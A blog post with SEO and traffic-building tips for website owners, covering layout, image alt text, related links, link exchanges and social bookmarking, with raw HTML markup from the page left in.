Make sure your site has a clean layout with ads well hidden and blended in the template.Include your profile link or an <img align="right" alt="Optimise your website according to SEO techniques" border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWiDGUPE28uIr9omOJhgb0XAIj3SsrELoPO3xOVELWMiOV7iVte-L3W5_7kyThMGYj3ylrA9VODmjNCjZ5QXe07OfzC2vaKr097pDiNCaXCZHQlBZRR57ZsNDuZ6BfZPIeiOnMM_AFA54/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="Optimise your website according to SEO techniques" width="150" />about page and brag about yourself (literally).Proper feed subscription buttons and eye soothing color theme has a great mental effect on your visitor.Keep your website aesthetic and have a clean interface for navigation. if your website has a long scrolling problem,cut it short by adjusting height or include a "<br />
<div class="system pop">
back to top of page button</div>
".  Make your visitors feel right at home when they are your webpage and they will return the favor by visiting again and again and again :) Add ALT and TITLE attributes to images so incase if they are not displayed or rendered by the browser,the reader shall get the idea what was there.Use images to your advantage,use flash only if it is necessary and make sure it loads up well and matches with all available flash versions. I have seen websites pucker and say that I don't have the latest flash version while I was having just one version older. That pissed me off and many others. Don't let it happen to you.<br />
<h3>
Convertible traffic</h3>
Now here comes the concept of convertible traffic,time is precious and everybody looks for related stuff in order to save time. Save your readers time by offering them related links and articles alongside your article,in that way you will be a great resource and a honeypot for your readers.Convert your traffic to useful bucks by offering them relavent ads well<img alt="Convert web traffic to your whims" border="0" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJbOqcNpQ6aWUeU7hB2jpmPTywL0WIU6Dk6eRRqsZCT94RlkVY1qCQkMy71c8mahkfMhhaqGLWKbFfjgA2rkochTK7NfZZtJOoI8nLsLkzTYDfc9pcPKknf4mNcQ4ztygAKubEMhK2a8/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Convert web traffic to your whims" width="240" />blended and well placed in the site.Make sure to reply to comments and get feedback from time to time in order to be in touch with your readers.<a href="http://rahlabs.blogspot.com/search/label/SMS" style="color: #3778cd; text-decoration: none;" target="_blank" title="Get gmail alerts on your mobile for free using Google SMS">SMS</a> your loyal subscribers about your updates using <a href="http://rahlabs.blogspot.com/search/label/Google" style="color: #3778cd; text-decoration: none;" target="_blank" title="More Google innovations at RAH Labs"><b>Google</b></a> alerts or any other service. <br />
<h3>
Friendship counts</h3>
Yup..make friends,both with readers and other webmasters. Ask for<br />
<div class="system pop">
 LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING.</div>
Comment frequently on well maintained blogs,leave your links by permission and invite them to comment and post articles on your blog.This will help maintain good relations with other bloggers. Exchange SEO techniques and you can even host their ads on your website and yours on them.  <img alt="LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING" border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnngB6gJGu77DRSiPpv9vwa8FwYhZ6iEq6qjuGSPP3T-wN919BqUfvU07uBvqtMo7kr54wRfOf34jBppDs68GzgQJR_23eKAZWEK3pBeO096IeLVH1_wdbBSpCBwCCCOPoa6WhCVXCbqM/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="LINK EXCHANGE FROM SITES WITH HIGHER PAGERANK AND RANKING" width="252" /><br />
Make sure to Reply to comments left by your readers.This way they will feel they are being heeded and are following a professional website.<br />
<h3>
Social Bookmarks</h3>
Get free publicity from social bookmarks. Encourage your users to bookmark your content and share it the way they like. Allow them to remix and adapt your content and make sure you do get a backlink for that (You sure deserve it :P). Embed feed and sharing widgets in your site and use them to your advantage. Make a brand name for yourself using these tools.<img alt="Use social bookmarking to your advantage" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghyUpT6FHVoJ1F6tOeHfcJYxYbgZPQk5uFFjV8vzbbQ9QLt8m2qe2GGcQ4DHBKme1VOkYi_nwH9mGEMCLdwXZSEN-cO4ti_M7ebIrDYcp4grhOT5hM5Yv-owUihuhFXhKa3q8dJhI6vxc/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Use social bookmarking to your advantage" width="240" /><br />
Today an average internet surfer is very intelligent and likes to share and link up everything he gets with his near and dear ones..Urge him to share up your views and ideas.Digg,Stumble,Reddit your ideas and articles regularly and be an active member in these communities.<br />
<br />
I hope you will have a nice time with your website once you follow this straight.<br />
Gudluck and Keep learning</div>

Ads Adsense Google SEO 10 SEO tips to Optimize your website

Making a website is easy,but making it survive through the Wild Wild Web is quite a formidable task. I have seen many potential website...